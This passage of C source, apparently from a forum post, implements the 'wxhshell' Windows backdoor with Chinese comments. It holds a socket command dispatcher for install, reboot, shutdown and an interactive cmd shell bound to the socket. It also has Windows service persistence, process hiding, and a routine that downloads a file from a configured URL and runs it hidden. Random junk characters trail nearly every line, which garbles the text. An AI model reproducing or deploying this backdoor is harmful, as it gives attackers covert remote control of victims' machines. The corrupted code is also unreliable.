      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qt_ocOr  
    break; { 0\Ez}  
  } pH&*5=t}  
  // 安装 d*qb^C{'"  
  case 'i': { 7 ~b=G  
    if(Install()) <PLQY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #IJm*_J<  
    else 44Dytpvg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lk%`hsv  
    break; CFE  ubEb  
    } &T.d"i  
  // 卸载 G47(LE"2b  
  case 'r': { !8g419Yg  
    if(Uninstall()) hcn $uyP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?^Gi;d5  
    else ')R+Z/hG.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w8=&rzr8  
    break; Vn&{yCm3  
    } cp1-eR_&  
  // 显示 wxhshell 所在路径 f^JiaU4 [  
  case 'p': { 5(wmy-x\  
    char svExeFile[MAX_PATH]; @!p bR(8  
    strcpy(svExeFile,"\n\r"); Ibf~gr(j  
      strcat(svExeFile,ExeFile); 8y:/!rRN  
        send(wsh,svExeFile,strlen(svExeFile),0); ;x<5F+b  
    break; mJxr"cwHl  
    } {F!/\ 2a  
  // 重启 S?b^g'5m  
  case 'b': { M)x6m|.=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1`hmD1d  
    if(Boot(REBOOT)) oX=dJJ E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v~8Cp C  
    else { 8F>u6Y[P  
    closesocket(wsh); (Q5rOrA"  
    ExitThread(0); 9sP;s^#t7U  
    } 9Lus,l\  
    break; :g%hT$,]3b  
    } WCNycH+1  
  // 关机 zA%YaekJ  
  case 'd': { 2[Ofa(mkkp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^VC /tJ  
    if(Boot(SHUTDOWN)) `~w|Xz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Bg $OX  
    else { ,NO2{Ha$  
    closesocket(wsh); n;@.eC,T/  
    ExitThread(0); mXYG^}  
    } xzi_u.iOP  
    break; nxWm  
    } @4t_cxmD  
  // 获取shell 7vo8lnQ{  
  case 's': { QdIx@[+WOq  
    CmdShell(wsh); i)iK0g"2  
    closesocket(wsh); vAh'6Ob7r  
    ExitThread(0); zif&;)wV/  
    break; ~dO+kD  
  } *{_N*p\{  
  // 退出 ^h$^j  
  case 'x': { [vGkr" =  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O~Jm<  
    CloseIt(wsh); u^O!5 'D%  
    break; >D jJ*vM  
    } 5cvvdO*C0  
  // 离开 H#S`m  
  case 'q': { Y\,aJL$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ["O_ Phb|  
    closesocket(wsh); yk0tA  
    WSACleanup(); pG6?"*Fz;  
    exit(1); |oWl9j]Z  
    break; ZaBmH|k  
        } qzj.N$9]  
  } yhkKakg,)  
  } o;9 G{Xj3@  
o)bKs>` U  
  // 提示信息 E<ILZpP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r6eZ-V`4  
} _1?nLx7n  
  } XDYQV.Bv  
qfkd Q/fP  
  return; y7t'I.E[+  
} 2 \<u;9  
BM~6P|&qD  
// shell模块句柄 *@{  
int CmdShell(SOCKET sock) zviTGhA  
{ /1v:eoF;  
STARTUPINFO si; P BVF'~f@j  
ZeroMemory(&si,sizeof(si)); vM@8&,;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vX7U|zy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?n]adS{  
PROCESS_INFORMATION ProcessInfo; J-|&[-Z  
char cmdline[]="cmd"; 4@+']vN4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v.&c1hKHb  
  return 0; dB)-qL8,2  
} =H`yzGt  
zs(P2$  
// 自身启动模式 o}&{Y2!x  
int StartFromService(void) m-qu<4A/U|  
{ d8uDSy  
typedef struct ]K3bDU~  
{ 2,Aw 6h;  
  DWORD ExitStatus; m-6&-G#  
  DWORD PebBaseAddress; ~ulcLvm:i  
  DWORD AffinityMask; Q:j~ kutS|  
  DWORD BasePriority; Ma'#5)D  
  ULONG UniqueProcessId; m*L5xxc!  
  ULONG InheritedFromUniqueProcessId; $dxA7 `L  
}   PROCESS_BASIC_INFORMATION; Bq;GO  
3-=AmRxW't  
PROCNTQSIP NtQueryInformationProcess;  ZC%;5O`  
o!ZG@k?#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]H aX.Z<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S&'?L0  
aNn4j_V(  
  HANDLE             hProcess; UGlHe7  
  PROCESS_BASIC_INFORMATION pbi; 2z.~K&+x  
)QW hzY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a)4%sX*I  
  if(NULL == hInst ) return 0; [7Q%c!e$*  
:L{*B$c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b9ud8wLE[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Uqz.Q\A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QI'-I\Co  
NiFe#SLA  
  if (!NtQueryInformationProcess) return 0; .R@s6}C`}=  
aZ|?i }  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); em95ccs'-  
  if(!hProcess) return 0; =W;e9 6#  
s q;!5qK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S[gACEZ =  
3~Lsa"/  
  CloseHandle(hProcess); o%f:BJS  
*T#^|<.XG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oY5`r)C7  
if(hProcess==NULL) return 0; z` YC3_d  
5*f54g"'  
HMODULE hMod; Y]*&\Ex"\  
char procName[255]; }OhSCH'o6  
unsigned long cbNeeded; Fg 8lX9L  
5 HsF#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J>k 6`gw  
aNs8T`  
  CloseHandle(hProcess); Fc8 0HK5R  
/\_n5XI1  
if(strstr(procName,"services")) return 1; // 以服务启动 BG8/  
:<s`)  
  return 0; // 注册表启动 ok [_Z;  
} K@JaN/OM  
]v0Z[l>yf  
// 主模块 _g fmo  
int StartWxhshell(LPSTR lpCmdLine) [Y$ TVwFwX  
{ TqL+^:cq  
  SOCKET wsl; $}r.fji,c  
BOOL val=TRUE; Zxd*%v;  
  int port=0; ,v 2^Ui  
  struct sockaddr_in door; BVj(Q}f8  
9R2"(.U  
  if(wscfg.ws_autoins) Install(); /Wcx%P  
n*Dn{ 7v#z  
port=atoi(lpCmdLine); 5~/EAK`  
L&y"oAp<  
if(port<=0) port=wscfg.ws_port; &PH:J*?C}  
DRR)mQBb  
  WSADATA data; =E> P,"D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zfE8=d8U  
M| j=J{r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k0O5c[ j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %LzARTX  
  door.sin_family = AF_INET; w~'}uh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }3_b%{  
  door.sin_port = htons(port); -ycdg'v  
mhX66R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WR`NISSp  
closesocket(wsl); J^ewG  
return 1; 7H?xp_D  
} 4Ngp  -  
j}B86oX  
  if(listen(wsl,2) == INVALID_SOCKET) { ~,oz hj0f/  
closesocket(wsl); Rzh.zvxTp  
return 1; kxd*B P  
} \v6lcAL-  
  Wxhshell(wsl); Z\Ur F0  
  WSACleanup();  T&MhSJf#  
$Hj;i/zD  
return 0; r#2Fk &Z9  
Z~QLjv&$/r  
} xp'Q>%v  
.4U*.Rf  
// 以NT服务方式启动 8Z_ 4%vUBg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9 &uf   
{ 09anQHa  
DWORD   status = 0; Z)$@1Q4P?1  
  DWORD   specificError = 0xfffffff; "g#%d  
^r.CUhx)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L'S,=NYXY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )qw;KG0F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; })P!7t  
  serviceStatus.dwWin32ExitCode     = 0; :UP8nq  
  serviceStatus.dwServiceSpecificExitCode = 0; +0z7}u\x  
  serviceStatus.dwCheckPoint       = 0; /5/gnp C  
  serviceStatus.dwWaitHint       = 0; &Jb\}c}  
dr}PjwW%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PZJ9f8 V  
  if (hServiceStatusHandle==0) return; #=S^i[K/  
;*t#:U*  
status = GetLastError(); -y$6gCRY  
  if (status!=NO_ERROR) ls&H oJ7  
{ {QylNC9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5qW>#pTFVV  
    serviceStatus.dwCheckPoint       = 0; t"YsIOT:O"  
    serviceStatus.dwWaitHint       = 0; !OY}`a(z  
    serviceStatus.dwWin32ExitCode     = status; tE {M  
    serviceStatus.dwServiceSpecificExitCode = specificError; e2N K7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v\4<6Z:4  
    return; pvUV5^B(M  
  } jq*`| m;Q  
j}",+H v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d?J&mLQ6  
  serviceStatus.dwCheckPoint       = 0; ;>jEeIlT  
  serviceStatus.dwWaitHint       = 0; o h\$u5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %+Ze$c}X  
} Tn1V+)  
}.E^_`  
// 处理NT服务事件,比如:启动、停止 ,0,FzxX0!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dH;2OWM  
{ =WW5H\?  
switch(fdwControl) $.,B2}'  
{ hEu_mw#  
case SERVICE_CONTROL_STOP: qf\W,SM  
  serviceStatus.dwWin32ExitCode = 0; ?.%dQ0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -u'"l(n)~  
  serviceStatus.dwCheckPoint   = 0; 2;WbXc!#!  
  serviceStatus.dwWaitHint     = 0; 8$A0q%n  
  { irD5;xk([  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K_YOp1  
  } nL/]Q'(5  
  return; 1J/'R37lP  
case SERVICE_CONTROL_PAUSE: $8UW^#Bpq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QJ4$) Fr(  
  break; UAhWJ$(C  
case SERVICE_CONTROL_CONTINUE: kl.;E{PL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;]Q6K9.d8  
  break; dB[4NT  
case SERVICE_CONTROL_INTERROGATE: (~zu4^9w  
  break; 2<I=xWwFA  
}; f%@~|:G:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =dDPQZEin  
} `sT;\  
lMGO4U[z  
// 标准应用程序主函数 m","m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jL^@;"/XhC  
{ czD" mI!  
2I}pX9  
// 获取操作系统版本 ,7Hyrx`  
OsIsNt=GetOsVer(); aF^N  Ye  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 94ruQ/  
iLuC_.'u=  
  // 从命令行安装 }8Y! -qX  
  if(strpbrk(lpCmdLine,"iI")) Install(); (vZ-0Ep}  
m =b7 r  
  // 下载执行文件 Uc {m##!  
if(wscfg.ws_downexe) { 8R3{YJ6@T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xt?-X%oY8  
  WinExec(wscfg.ws_filenam,SW_HIDE); .6C/,rQ?c  
} 3;BIwb_  
KoNu{TJ  
if(!OsIsNt) { N~8H\  
// 如果时win9x,隐藏进程并且设置为注册表启动 }-Mg&~e`  
HideProc(); d2#NRqgQ  
StartWxhshell(lpCmdLine); e7@ m i  
} Mt-r`W3 q  
else 1l#46?]~  
  if(StartFromService()) j@z IJ  
  // 以服务方式启动 HbA/~7  
  StartServiceCtrlDispatcher(DispatchTable); u7hu8U=  
else M@.S Q@E  
  // 普通方式启动 } jJKE  
  StartWxhshell(lpCmdLine); -9t"$)&  
Tt)z[^)%  
return 0; 0<\|D^m=&h  
}
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只看该作者 1 发表于: 2006-10-10
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